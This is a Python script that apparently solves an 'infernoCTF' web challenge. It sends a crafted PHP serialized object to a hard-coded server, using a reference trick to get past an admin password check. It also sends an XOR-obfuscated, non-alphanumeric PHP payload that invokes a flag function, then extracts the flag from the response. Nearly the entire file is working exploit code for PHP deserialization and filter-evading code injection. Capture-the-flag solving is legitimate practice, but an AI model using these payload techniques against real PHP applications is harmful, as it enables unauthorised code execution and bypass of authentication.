#!/usr/bin/python3

from requests import get
from bs4 import BeautifulSoup as BS
from re import search

host = "http://104.197.168.32:17010/"
flag = "infernoCTF{.*?}"

def make_letters(result):
    chars = [ord(c) for c in "!@$%^&*()_-+={}[]:/?|.>,<"]
    result = [ord(c) for c in result]
    c1s = []
    c2s = []

    for r in result:
        found = False

        for c1 in chars:
            for c2 in chars:
                if c1 ^ c2 == r:
                    c1s.append(chr(c1))
                    c2s.append(chr(c2))
                    found = True
                    break

            if found:
                break

    return "\"{}\"^\"{}\"".format(''.join(c1s), ''.join(c2s))

def main():
    global flag

    caption = "$_=" + make_letters("echoFlag") + ";$_();"
    data = {
        "id": 'O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";N;s:6:"secret";R:3;}',
        "caption": caption
    }

    response = get(host, params=data)
    soup = BS(response.content, "lxml")
    flag = search(flag, soup.text).group()
    print(flag)

if __name__ == "__main__":
    main()